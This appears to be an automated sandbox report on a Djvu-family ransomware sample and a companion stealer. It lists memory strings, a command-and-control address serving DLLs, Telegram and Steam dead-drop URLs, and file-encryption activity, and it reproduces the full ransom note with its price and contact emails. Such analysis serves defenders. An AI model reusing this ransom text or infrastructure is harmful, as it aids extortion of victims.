Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/nss3.dll
Source: build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/nss3.dllw
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/oft
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/reebl3.dll
Source: build2.exe, 00000015.00000002.2501122577.000000000316F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/softokn3.dll
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/softokn3.dlle
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/softokn3.dller
Source: build2.exe, 00000015.00000003.1791183146.00000000030E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/sqlite3.dll
Source: build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/v
Source: build2.exe, 00000015.00000002.2496611102.000000000042D000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/vcruntime140.dll
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/vcruntime140.dllalq&
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/vcruntime140.dller
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/z
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024Content-Disposition:
Source: build2.exe, 00000015.00000002.2496611102.00000000004BE000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024Microsoft
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024g
Source: notification_fast.bundle.js.12.dr	String found in binary or memory: https://aka.ms/EdgeSaveCardFAQ
Source: notification_fast.bundle.js.12.dr	String found in binary or memory: https://aka.ms/EdgeVirtualCardFAQ
Source: kOVwcHSfrR.exe, 00000007.00000002.1293830756.000000000066B000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000003.1289707792.000000000067B000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1462273789.00000000008AC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000003.1458255646.00000000008AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/K
Source: kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/M
Source: kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/O
Source: kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/e
Source: kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: kOVwcHSfrR.exe, 00000011.00000002.1462092093.0000000000898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json7
Source: kOVwcHSfrR.exe, 00000007.00000002.1293830756.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json;
Source: kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonC
Source: kOVwcHSfrR.exe, 00000011.00000002.1462092093.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonLE
Source: kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonN
Source: kOVwcHSfrR.exe, 00000014.00000002.1532005523.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonS
Source: kOVwcHSfrR.exe, 00000011.00000002.1462273789.00000000008AC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000003.1458255646.00000000008AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonf=lr$
Source: kOVwcHSfrR.exe, 00000007.00000003.1289500918.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000003.1289545953.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsong
Source: kOVwcHSfrR.exe, 0000000C.00000002.1865321659.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonkZ
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/j
Source: kOVwcHSfrR.exe, 0000000C.00000002.1865321659.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/stemRoot=C:
Source: build2.exe, 00000012.00000002.1683393248.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199592921038
Source: build2.exe, 00000012.00000002.1683393248.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199592921038hello
Source: build2.exe, 00000015.00000003.2299498967.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/mcfuture
Source: build2.exe, 00000012.00000002.1683393248.00000000024B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/mcfuturehnymfsOpera/9.80
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-99MNqXMr
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863376655.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1864162198.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862919369.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1864060856.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2500840632.000000000334C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.12.dr, _readme.txt0.12.dr	String found in binary or memory: https://we.tl/t-99MNqXMrdS
Source: build2.exe, 00000015.00000003.1691934738.000000000083E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299498967.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.10:49718 version: TLS 1.2

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

7_2_004822E0

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl			Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-99MNqXMrdSPrice of private key and decrypt software is $1999.Discount 50% available if you contact us first 72 hours, that's price for you is $999.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0840ASdwTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 8028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 8088, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 19.2.kOVwcHSfrR.exe.26c15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.kOVwcHSfrR.exe.26a15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kOVwcHSfrR.exe.27315a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kOVwcHSfrR.exe.27315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.kOVwcHSfrR.exe.26715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.kOVwcHSfrR.exe.28515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.kOVwcHSfrR.exe.26715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.kOVwcHSfrR.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.kOVwcHSfrR.exe.28515a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.kOVwcHSfrR.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.kOVwcHSfrR.exe.26c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.kOVwcHSfrR.exe.26a15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 7996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 8028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 8088, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 8160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 7384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOVwcHSfrR.exe PID: 736, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File moved: C:\Users\user\Desktop\PIVFAGEAAV.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File deleted: C:\Users\user\Desktop\PIVFAGEAAV.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File moved: C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docx	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File deleted: C:\Users\user\Desktop\QNCYCDFIJJ\QNCYCDFIJJ.docx	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File moved: C:\Users\user\Desktop\QNCYCDFIJJ.docx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-99mnqxmrdsprice of private key and decrypt software is $1999.discount 50% available if you contact us first 72 hours, that's price for you is $999.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address to contact us:datarestorehelpyou@airmail.ccyour personal id:0840asdwtkvhfciiwaaydjufpbegzizgy7ixd6c9ormrazif	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-99mnqxmrdsprice of private key and decrypt software is $1999.discount 50% available if you contact us first 72 hours, that's price for you is $999.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address to contact us:datarestorehelpyou@airmail.ccyour personal id:0840asdwtkvhfciiwaaydjufpbegzizgy7ixd6c9ormrazif	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File dropped: C:\$WinREAgent\Scratch\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-99mnqxmrdsprice of private key and decrypt software is $1999.discount 50% available if you contact us first 72 hours, that's price for you is $999.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address to contact us:datarestorehelpyou@airmail.ccyour personal id:0840asdwtkvhfciiwaaydjufpbegzizgy7ixd6c9ormrazif	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\5_KhThI0onehz_-3sl58j0dOeLI.br[1].js entropy: 7.99870891974	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js entropy: 7.99600716865	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js entropy: 7.99796955996	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js entropy: 7.99867245919	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js entropy: 7.99862260534	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\Init[1].htm entropy: 7.9983156274	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\pqKAmz-4RXsuUf_YO-8_wQDepUQ.br[1].js entropy: 7.99580354877	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\onra7PQl9o5bYT2lASI1BE4DDEs[1].css entropy: 7.99776271303	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js entropy: 7.9980713972	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\mb8fkd60iW7q4wvyDIlCm9OOn10.br[1].js entropy: 7.99610001622	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\yNwdh0ra_6sDoSuCVMI8Wjl58UM.br[1].js entropy: 7.99805487049	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\YfXD9vOw8__a60l-k1HNCxSbem4.br[1].js entropy: 7.99728635757	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\xIW3D5oXL8xIpGjHoiGVJS_B4mg.br[1].js entropy: 7.99641628022	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\uANxnX_BheDjd2-cdR8N9DEWlds[1].css entropy: 7.99166714513	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\tIa_X3QDXj2Izj2HpQ_Mo9f1WiM.br[1].js entropy: 7.99863726729	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499493081.f660d059-6f2e-4e72-b06a-df12c9ef02fc.first-shutdown.jsonlz4 entropy: 7.99080528141	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\datareporting\archived\2023-10\1696499493080.5bf0a14b-0281-4d70-9b35-ffc28432d5f1.main.jsonlz4 entropy: 7.99063592988	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99711492043	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.9962005593	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99285806058	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99256783103	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99339590824	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99345770612	Jump to dropped file
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db entropy: 7.9983855072	Jump to dropped file
